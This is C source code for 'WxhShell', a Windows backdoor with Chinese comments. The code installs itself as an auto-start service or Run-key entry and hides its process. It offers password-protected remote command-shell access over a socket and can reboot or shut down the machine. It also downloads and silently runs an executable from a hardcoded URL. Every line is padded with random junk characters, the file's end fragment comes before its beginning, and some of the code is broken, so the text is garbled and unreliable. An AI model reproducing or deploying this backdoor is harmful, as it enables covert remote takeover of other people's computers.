  case 'd': { R+*-i+]Q#7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E8/Pi>QW  
    if(Boot(SHUTDOWN)) BT^Im=A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qdPmTaak  
    else { W-RqooEv  
    closesocket(wsh); lRANXM  
    ExitThread(0); /Moyn"Kj{  
    } v)j3YhY  
    break; N,bH@Q.Ci  
    } `_iK`^(-  
  // 获取shell " k0gZb  
  case 's': { Y=?Tm,z4  
    CmdShell(wsh); Cl8S_Bz  
    closesocket(wsh); o$p] p9  
    ExitThread(0); +;Pkpuu  
    break; xeB-fy)5+  
  } []-<-TqJ  
  // 退出 /B 53Z[yL  
  case 'x': { {_G_YL[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5(>ux@[qI:  
    CloseIt(wsh); cd&sAK"  
    break; @ N@ !Q  
    } yHo#v:>?p  
  // 离开 LVaJyI@/>  
  case 'q': { v8"Zru  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z8dBfA<z  
    closesocket(wsh); 'F%h]4|1  
    WSACleanup(); /g>]J70  
    exit(1); g8R@ol0  
    break; 8 \"A-+_Q  
        } I]z4}#+cX  
  } hg7_ZjO  
  } oe*fgk/o9  
>~l^E!<i-u  
  // 提示信息 |;(>q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gXj3=N(l  
} OI,F,4e  
  } _ G$21=  
J 1R5_b  
  return; 2"QcjFW%  
} }vb.>hy  
z%;_h-  
// shell模块句柄 lMmP]{.>$  
int CmdShell(SOCKET sock) 7/HX!y{WP  
{ 2c'<rkA  
STARTUPINFO si; *&z !y/  
ZeroMemory(&si,sizeof(si)); RGLJaEl !  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s$ kvLy<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SN 4JX  
PROCESS_INFORMATION ProcessInfo; FMtg7+Q|>  
char cmdline[]="cmd"; sk5B} -  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zWrynJ}s  
  return 0; L0R$T=~%)  
} 9JqT"zj  
]*X z~Ox2  
// 自身启动模式 J^=Xy(3e  
int StartFromService(void) ;v!Ef"E|cV  
{ gDjAnz#  
typedef struct O YfRtfE  
{ w!b;.l  
  DWORD ExitStatus; u}?|d8$h\  
  DWORD PebBaseAddress; IC6'>2'=T  
  DWORD AffinityMask; ;*{Ls#  
  DWORD BasePriority; SAU` u]E  
  ULONG UniqueProcessId; `[&%fTW+  
  ULONG InheritedFromUniqueProcessId; ` Nv1sA#C  
}   PROCESS_BASIC_INFORMATION; QBCEDv&j  
R"{P#U,HNO  
PROCNTQSIP NtQueryInformationProcess; $T_>WUiK  
?r}2JHvN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ( m7qc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :<H4hYt2  
N>iNz[a q  
  HANDLE             hProcess; \D-X _.v  
  PROCESS_BASIC_INFORMATION pbi; _=9m [  
$k+XH+1CW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qN^]`M[ BY  
  if(NULL == hInst ) return 0; @ %o'  
!Ld[`d.|R!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); },;Z<(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [M#(su0fv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n0)y|B#  
y,6KU$G  
  if (!NtQueryInformationProcess) return 0; >x]ir  
~"Su2{"8B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L/)eNZ  
  if(!hProcess) return 0; ] I5&'#%2  
bduHYs+rq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hb(H-`16  
ex.^V sf_  
  CloseHandle(hProcess); K."W/A!  
|9[)-C~N7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4j(*%da  
if(hProcess==NULL) return 0; 5^{I}Q  
<.{OIIuk  
HMODULE hMod; T[-Tqi NT  
char procName[255]; $,o@&QT?AT  
unsigned long cbNeeded; v <m=g!  
sRQ4pnnrn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '8LHX6FXK  
F5H]$AjW  
  CloseHandle(hProcess); Q6p75$SVq  
R8Dn GR  
if(strstr(procName,"services")) return 1; // 以服务启动 0S\HO<~k  
+E+I.}sOB  
  return 0; // 注册表启动 ([A%>u>h  
} YpvFv-  
qykI[4  
// 主模块 [;#^h/5E  
int StartWxhshell(LPSTR lpCmdLine) xs?]DJj  
{ D7Ds*X`!l  
  SOCKET wsl; g(R!M0hdF  
BOOL val=TRUE; q8& ^E.K  
  int port=0; E?jb?  
  struct sockaddr_in door; Gb.}af#v  
A{wk$`vH  
  if(wscfg.ws_autoins) Install(); >+%p }l:<\  
WV;[vg]  
port=atoi(lpCmdLine); sUZ2A1J}  
XUK%O8N#9  
if(port<=0) port=wscfg.ws_port; XcKyrh;i  
G{.A5{  
  WSADATA data; Hiih$O+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $gdGII&n  
5N907XVu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %1M!4**W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7U - ?Rd  
  door.sin_family = AF_INET; 3 =_to7]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sh%%U  
  door.sin_port = htons(port); "R[6Q ^vw  
-];Hb'M.!e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h: zi8;(  
closesocket(wsl); E6xWo)`%5s  
return 1; hOe$h,E']  
} qX]ej 2  
_<jccQ  
  if(listen(wsl,2) == INVALID_SOCKET) { Mvk#$:8e  
closesocket(wsl); %p};Di[V  
return 1; T_qh_L3  
} u73/#!(1=H  
  Wxhshell(wsl); V6b)  
  WSACleanup(); Yt;@ @xe&  
mZ.E;X& ,*  
return 0; t`0(5v  
^ |>)H  
} R[2h!.O8  
`4"&_ltD  
// 以NT服务方式启动 y9Q"3LLic`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Rp.FG   
{ :LB< z#M  
DWORD   status = 0; ;W!hl<``d*  
  DWORD   specificError = 0xfffffff; !Op18hP$  
Q?Uk%t\hwc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #~[mn_C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eS"sd^;R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (d-j/v*4  
  serviceStatus.dwWin32ExitCode     = 0; `=#ry*E^:  
  serviceStatus.dwServiceSpecificExitCode = 0; |9 4xRC  
  serviceStatus.dwCheckPoint       = 0; yXA]E.K!  
  serviceStatus.dwWaitHint       = 0; Xqas[:)7+  
LiD-su D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (ZEDDV2  
  if (hServiceStatusHandle==0) return; _ 3>|1RB  
m}nA- *  
status = GetLastError(); 1I U*:Z;Rz  
  if (status!=NO_ERROR) ~{s7(^ P  
{ I[I]C9D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zyFbu=d|O:  
    serviceStatus.dwCheckPoint       = 0; 7033#@_  
    serviceStatus.dwWaitHint       = 0; s}":lXkrw  
    serviceStatus.dwWin32ExitCode     = status; mQt?d?6  
    serviceStatus.dwServiceSpecificExitCode = specificError; %suXp,j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .g6(07TyV  
    return; Ps{}SZn  
  } :6Sb3w5h  
a<{+ J U5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kx3]A"]>'  
  serviceStatus.dwCheckPoint       = 0; 7 m!e\x8  
  serviceStatus.dwWaitHint       = 0; _Y,d|!B#L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); evHKq}{  
} wB W]w  
veGRwir  
// 处理NT服务事件,比如:启动、停止 ]i pltR7k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GGn/J&k  
{ pi?U|&.1z  
switch(fdwControl) -\=kd {*B  
{ ;hp?wb  
case SERVICE_CONTROL_STOP: ppM^&6x^  
  serviceStatus.dwWin32ExitCode = 0; '^.}5be&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \) T4NN  
  serviceStatus.dwCheckPoint   = 0; &:*|KxX  
  serviceStatus.dwWaitHint     = 0; NYZI;P1DA  
  { 8fs::}0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %+Khj@aX  
  } }!g^}BWWp  
  return; <ba+7CK] w  
case SERVICE_CONTROL_PAUSE: u<{uUui}$v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b."1p7'  
  break; VR_bX|  
case SERVICE_CONTROL_CONTINUE: jR&AQ-H&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gL;tyf1P  
  break; c6)q(zz  
case SERVICE_CONTROL_INTERROGATE: sp$W=Wu7  
  break; GPnSdGLC  
}; FzGla})  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nLjo3yvV..  
} ;}gS8I|  
dq ~=P>  
// 标准应用程序主函数 u.sn"G-c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6~v|pA jY  
{ />9?/&N6"  
(Dx]!FFz  
// 获取操作系统版本 y|@=j~}Zq  
OsIsNt=GetOsVer(); U0W- X9>y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *QpKeI  
I|?Z.!I|  
  // 从命令行安装 5zH?1Z~*  
  if(strpbrk(lpCmdLine,"iI")) Install(); O~AOZ^a:2  
hkL[hD  
  // 下载执行文件 8TnByKZz  
if(wscfg.ws_downexe) { $?u ^hMU=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i bwnK?ZA  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ka\%kB>*`  
} e RjpR?!\  
`&yUU2W  
if(!OsIsNt) { i;$'haK<  
// 如果时win9x,隐藏进程并且设置为注册表启动 *u%4]q  
HideProc(); 4!dN^;Cb  
StartWxhshell(lpCmdLine); yegTKoY  
} B[0XzV]Z  
else %%w]-`^h,  
  if(StartFromService()) 3q.O^`y FU  
  // 以服务方式启动 L_YVe(dT  
  StartServiceCtrlDispatcher(DispatchTable); >2l;KVm%  
else T+[N-"N  
  // 普通方式启动 8y{<M"v+/  
  StartWxhshell(lpCmdLine); 7=ZB?@bU~  
NwdA@"YQ|  
return 0; 'L2M  W  
} }$ Am;%?p  
:d<;h:^_  
217KJ~)'  
WeTsva+  
=========================================== -)tu$W*  
r='"X#CmV/  
dviL5Eaj  
pU*dE   
, ]'?Gd  
aMFUJrXo  
" ~sQN\]5VW  
##!) }i  
#include <stdio.h> wK CHG/W  
#include <string.h> y$At$i>u  
#include <windows.h> DT@6Q.  
#include <winsock2.h> \@4_l?M  
#include <winsvc.h> 5"5D(  
#include <urlmon.h> ( {H5k''  
B;?"R  
#pragma comment (lib, "Ws2_32.lib") 3~4e\xL  
#pragma comment (lib, "urlmon.lib") & ;+u.X  
5B? >.4R  
#define MAX_USER   100 // 最大客户端连接数 wvm`JOP:A  
#define BUF_SOCK   200 // sock buffer i(JBBE"  
#define KEY_BUFF   255 // 输入 buffer 5xi f0h-`  
y.~y*c6,g  
#define REBOOT     0   // 重启 tw]RH(g+#  
#define SHUTDOWN   1   // 关机 cRX0i;zag  
|.Bb Pfe8f  
#define DEF_PORT   5000 // 监听端口 oO|zRK1;/  
gaC^<\J  
#define REG_LEN     16   // 注册表键长度 u><gmp&  
#define SVC_LEN     80   // NT服务名长度 ,iU ]zN//  
 # a 'h,  
// 从dll定义API m[C-/f^u|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); */n)_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9(Vq@.;Z`j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /}Y>_8 7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [BHf>  
})|+tZ  
// wxhshell配置信息 qDO4&NO  
struct WSCFG { elZ?>5P$}  
  int ws_port;         // 监听端口 F+_4Q  
  char ws_passstr[REG_LEN]; // 口令 K^k1]!W=  
  int ws_autoins;       // 安装标记, 1=yes 0=no dvk? A$  
  char ws_regname[REG_LEN]; // 注册表键名 RR><so%  
  char ws_svcname[REG_LEN]; // 服务名 ZN|DR|c UY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n< [np;\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A:1O:LB=!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rO/mK$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >'/G:\M>A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k=O2s'F`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G|yX9C]R   
Mu18s}  
}; 3mgFouX2x,  
vt[4"eU  
// default Wxhshell configuration zqqpBwk#  
struct WSCFG wscfg={DEF_PORT, j[yGfDb  
    "xuhuanlingzhe", A8hj"V47  
    1, sf]y\_zU  
    "Wxhshell", #"6(Q2| l  
    "Wxhshell", EW1 L!3K  
            "WxhShell Service", s@f4f__(]  
    "Wrsky Windows CmdShell Service", l0g#&V--  
    "Please Input Your Password: ", rB|D^@mG  
  1, 7Rj!vj/  
  "http://www.wrsky.com/wxhshell.exe", ,*r"cmz  
  "Wxhshell.exe" *~fZ9EkD  
    }; |^Z1 D TAw  
L*9^-,  
// 消息定义模块 VY@uQ#&A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /g712\?M4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rSB"0 W7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ywt_h;:  
char *msg_ws_ext="\n\rExit."; 8UoMOeI3  
char *msg_ws_end="\n\rQuit."; cn=~}T@~Z  
char *msg_ws_boot="\n\rReboot..."; __$IbF5  
char *msg_ws_poff="\n\rShutdown..."; =A<kDxqH  
char *msg_ws_down="\n\rSave to "; &TSt/b/+W  
-[v:1\Vv  
char *msg_ws_err="\n\rErr!"; O1coay  
char *msg_ws_ok="\n\rOK!"; Y*3qH]  
F$ x@ ]  
char ExeFile[MAX_PATH]; cg<10KT  
int nUser = 0; +GgWd=X.Y  
HANDLE handles[MAX_USER]; \*!?\Ko`W  
int OsIsNt; QR'"Zw&q5/  
hyL3fkMJ,  
SERVICE_STATUS       serviceStatus; n w @cAv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e6k}-<W*q  
FgNO#%  
// 函数声明 W{Ie(hf  
int Install(void); 8^$}!9B~JZ  
int Uninstall(void); ];^A8?  
int DownloadFile(char *sURL, SOCKET wsh); ;or(:Yoc-  
int Boot(int flag); `Te n2(D  
void HideProc(void); Wk'KN o  
int GetOsVer(void); k _hiGg  
int Wxhshell(SOCKET wsl); 18Pc4~ >0  
void TalkWithClient(void *cs); IO`.]iG  
int CmdShell(SOCKET sock); >f19P+  
int StartFromService(void); ;Mc\>i/  
int StartWxhshell(LPSTR lpCmdLine); s7SW4ff1  
4kNf4l9Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BkJV{>?_+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HLAWx/c,j"  
3ZU`}  
// 数据结构和表定义 [L|H1ll  
SERVICE_TABLE_ENTRY DispatchTable[] = AGn:I??  
{ DL|,:2`  
{wscfg.ws_svcname, NTServiceMain}, 9]VUQl9gh  
{NULL, NULL} <dD}4c+/t  
}; ~kYUp5f  
wQ*vcbQX*  
// 自我安装 ?@(_GrE-  
int Install(void) #DwTm~V0"  
{ cuBOE2vB.  
  char svExeFile[MAX_PATH]; 9cWl/7;zXO  
  HKEY key; W cPDPu~/  
  strcpy(svExeFile,ExeFile); ]/HSlT=  
2K!3+D"  
// 如果是win9x系统,修改注册表设为自启动 #SQT!4  
if(!OsIsNt) { q0.+F4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  ^P~%^?(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gf2l19aP  
  RegCloseKey(key); @YMef `T:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G7pj.rQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PNd]Xmv)  
  RegCloseKey(key); O!lZ%j@%  
  return 0; <O?iJ=$  
    } ZBcZG  
  } m-dne/%_  
} @ _U]U  
else { *|Q'?ty(x  
p8oOm>B96n  
// 如果是NT以上系统,安装为系统服务 x$J1%K*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _,=A\C_b@  
if (schSCManager!=0) @~U: |h  
{ 0V"r$7(}  
  SC_HANDLE schService = CreateService >1,.4)k%K  
  ( )(9>r /bq  
  schSCManager, ?&_ -,\t  
  wscfg.ws_svcname, &kHp}\  
  wscfg.ws_svcdisp, Ji :2P*  
  SERVICE_ALL_ACCESS, BP,"vq$'+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @T._   
  SERVICE_AUTO_START, I(#Y\>DG  
  SERVICE_ERROR_NORMAL, Z2(z,pK  
  svExeFile, pB&3JmgR$)  
  NULL, M3odyO(  
  NULL, BZ">N  
  NULL, @R_a'v-  
  NULL, 4v33{sp  
  NULL 1%]| O  
  ); 1LZ?!Lw  
  if (schService!=0) (#BkL:dg  
  { *j?tcxq  
  CloseServiceHandle(schService); ;RflzY|D  
  CloseServiceHandle(schSCManager); :`2<SF^0O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A)kx,,[  
  strcat(svExeFile,wscfg.ws_svcname); m beM/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4{(uw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X,IjM&o"Y  
  RegCloseKey(key); sHyhR:  
  return 0; ?FVX &{{V  
    } w>p0ldi  
  } @v ss:'l  
  CloseServiceHandle(schSCManager); \6-x~%xK  
} }tF/ca:XPQ  
} ,3.E]_3 xX  
]iRE^o6  
return 1; y{,HpPp#o  
} 0Jm6 r4s?  
KiT>W~  
// 自我卸载 ,a eQXI#@  
int Uninstall(void) 8;ke,x  
{ 2qo=ud  
  HKEY key; ~YA* RCe  
\{t#V ~  
if(!OsIsNt) { a*$to/^r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mv O!Y  
  RegDeleteValue(key,wscfg.ws_regname); k<Z^93 S  
  RegCloseKey(key); @*]l.F   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^ llZf$`  
  RegDeleteValue(key,wscfg.ws_regname); {E-.W"t4  
  RegCloseKey(key); "XT7;!  
  return 0; ]|it&4l  
  } uM h[Ht^.  
} V%8?f,  
} NZdjS9  
else { iZ<^p1i  
"CLoM\M)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ym9Z:2g  
if (schSCManager!=0) Ve*NM|jg  
{ E0!}~Z)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vH%AXz IA  
  if (schService!=0) MP(R2y  
  { btHN  
  if(DeleteService(schService)!=0) { seC]=UJh#>  
  CloseServiceHandle(schService); eqU2>bI f  
  CloseServiceHandle(schSCManager); 0vuL(W8)  
  return 0; RbzSQr>a\  
  } /:3:Ky3  
  CloseServiceHandle(schService); 0?KXQD  
  } f]`#BE)V  
  CloseServiceHandle(schSCManager);  n0F.Um  
} FRd!UqMXY  
} (+6 8s9XS7  
C93BK)$}  
return 1; 26PUO$&b.  
} X1&Ug ^  
<nlZ?~%}  
// 从指定url下载文件 _BO:~x  
int DownloadFile(char *sURL, SOCKET wsh) [bk2RaX:i  
{ ^u&oS1U  
  HRESULT hr; oW(lQ'"  
char seps[]= "/"; #no~g( !o  
char *token; Zt4g G KG  
char *file; 3I&=1o  
char myURL[MAX_PATH]; qYR $5  
char myFILE[MAX_PATH];  N-`Vb0;N  
"RMBV}<T  
strcpy(myURL,sURL); >/mi#Y6  
  token=strtok(myURL,seps); D9,609w  
  while(token!=NULL) {*,~,iq  
  { hr_ 5D  
    file=token; aDmyr_f$  
  token=strtok(NULL,seps); 'kb5pl~U  
  } mbB,j~;^6H  
T6m#sVq  
GetCurrentDirectory(MAX_PATH,myFILE); C~4_Vc*  
strcat(myFILE, "\\"); JBfDz0P  
strcat(myFILE, file); mR@|]T  
  send(wsh,myFILE,strlen(myFILE),0); d0Xb?- }3M  
send(wsh,"...",3,0); TG7Ba[%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o`5p "v r  
  if(hr==S_OK) ph{p[QI:{X  
return 0; $&~/`MxE  
else 3[I; 3=O  
return 1; _G%]d$2f`  
EBlfwFd  
} W&CQ87b  
<k?ofE1o  
// 系统电源模块 5v <>%=  
int Boot(int flag) A<P3X/i  
{ bwo-9B  
  HANDLE hToken; KiYO,nD;\  
  TOKEN_PRIVILEGES tkp; 1c_gh12  
^ CVhV  
  if(OsIsNt) { cpvN }G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9<u^.w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @Gp=9\L  
    tkp.PrivilegeCount = 1; ?PVJeFH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Mx<z34(T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @)s;u}H  
if(flag==REBOOT) { Ot}fGiio  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uT'_}cw  
  return 0; rE0?R( _  
} h07Z.q ;  
else { L1=3_fO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L08>9tf`  
  return 0; ASmMj;>UM  
} *z[G+JX  
  } zvjVM"=G  
  else { 0q'd }DW  
if(flag==REBOOT) { L[l ?}\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uo0g51%9  
  return 0; ,: g.B\'Q  
} $$ %4,\{l  
else { y_O[r1MF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5tPBTS<<"L  
  return 0; K$OxeJP?F  
} -c-af%xD  
} .K`OEdr<  
wKF #8Y  
return 1; - s[=$pDU  
} Gr9/@U+  
vSty.:bY\p  
// win9x进程隐藏模块 X"WKgC g$  
void HideProc(void) T=r-6eN  
{ /2}o:vLj  
Q#C;4)e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _y#omEx  
  if ( hKernel != NULL ) HT]W2^k  
  { #qkokV6`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZeewGa^r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $YZsaw  
    FreeLibrary(hKernel); lv -z[  
  } 1d/-SxhZ  
AA][}lU:5  
return; z_qy >  
} ~\= VSwJ  
[A$5~/Q{U1  
// 获取操作系统版本 &v!=\Fig4  
int GetOsVer(void) LhM{LUi  
{ l`lo5:w  
  OSVERSIONINFO winfo; KrO oxrDcp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dw %aoe  
  GetVersionEx(&winfo); f[,9WkC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %Q]u_0P*  
  return 1; lfjY45=  
  else yXU-@~  
  return 0; y,qP$ 5xiq  
} fR_ jYP 1  
s2Gi4fY?  
// 客户端句柄模块 UeWEncN(  
int Wxhshell(SOCKET wsl) 1I({2@C  
{ 6o@}k9AN  
  SOCKET wsh; 89@\AjI  
  struct sockaddr_in client; 8N<0|u  
  DWORD myID; W{E2 2J}  
,#3}TDC  
  while(nUser<MAX_USER) IV{,'+hT  
{ y*2R#jTA  
  int nSize=sizeof(client); /dTy%hZC}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `5 py6,  
  if(wsh==INVALID_SOCKET) return 1; (]7*Kq  
d,=Kv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ""Ul6hRgv  
if(handles[nUser]==0) EtN@ 6xP  
  closesocket(wsh); bc}X.IC  
else 5,=Yi$x  
  nUser++; TR!^wB<F  
  } 1);$#Dlt k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7q bGA K  
B5J!&suX  
  return 0; QS2J271E}  
} [?)=3Pp  
Gd0-}4S?  
// 关闭 socket DO<eBq\O  
void CloseIt(SOCKET wsh) VM{`CJ2  
{ H+ra w/"  
closesocket(wsh); HZMs],GX  
nUser--; QX (x6y>Q  
ExitThread(0); #.O,JG#H  
} :T~Aa(%(  
\8\)5#?  
// 客户端请求句柄 f.V;Hl,  
void TalkWithClient(void *cs) qh Ezv~  
{ A^7!:^%K  
YArNJ5z=  
  SOCKET wsh=(SOCKET)cs; 1|Y(XB^os(  
  char pwd[SVC_LEN]; 8f>=.O*)  
  char cmd[KEY_BUFF]; }qfr&Ffh@  
char chr[1]; L'{;V\d  
int i,j; A.7:.5Cx'  
Dd|}LV  
  while (nUser < MAX_USER) { g-'y_'%0G  
zx^]3}  
if(wscfg.ws_passstr) { jB }O6u[%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )/k0*:OMyO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M9Gs^  
  //ZeroMemory(pwd,KEY_BUFF); d7N;F a3yL  
      i=0; VlW#_.  
  while(i<SVC_LEN) { Hv%(9)-8  
`NA[zH,w3  
  // 设置超时 D^Dm, -  
  fd_set FdRead; <'A>7M~h?*  
  struct timeval TimeOut; C%d 4ItB >  
  FD_ZERO(&FdRead); 7}bjJR "  
  FD_SET(wsh,&FdRead); ];Whvdnv  
  TimeOut.tv_sec=8; JV'd!5P  
  TimeOut.tv_usec=0; /=Ug}%.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P# 2&?.d\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2=ZR}8}9Q:  
Z+ubc"MVb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cus=UzL  
  pwd=chr[0]; m%V+px  
  if(chr[0]==0xd || chr[0]==0xa) { ZWMX!>o<  
  pwd=0; WrbDB-uM  
  break; J#Fe"  
  } }]vj"!?a  
  i++; }@yvw*c  
    } +C7 1".i-  
Hxr2Q]c?u  
  // 如果是非法用户,关闭 socket /R#-mY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }yqRz6=YB  
} J#*Uf>5NY  
`7jm   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Fk D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mOwgk7s[ J  
:NU-C!eT  
while(1) { s# w+^Mw$  
Qo  
  ZeroMemory(cmd,KEY_BUFF); rh2pVDS  
FW7+!A&F  
      // 自动支持客户端 telnet标准   Ff>Y<7CQ v  
  j=0; pH#&B_S6z=  
  while(j<KEY_BUFF) { b qB[ vPsI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R7*Jb-;$!  
  cmd[j]=chr[0]; K-wjQ|*1  
  if(chr[0]==0xa || chr[0]==0xd) { 1=#r$H  
  cmd[j]=0; $oE 4q6b  
  break; dgssX9g37  
  } $m/-E#I #Z  
  j++; <mHptgd,  
    } L1BpkB  
]6OrL TmP  
  // 下载文件 h7Jo _L7  
  if(strstr(cmd,"http://")) { T~$ePVk>L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HY#7Ctn3  
  if(DownloadFile(cmd,wsh)) zc J]US  
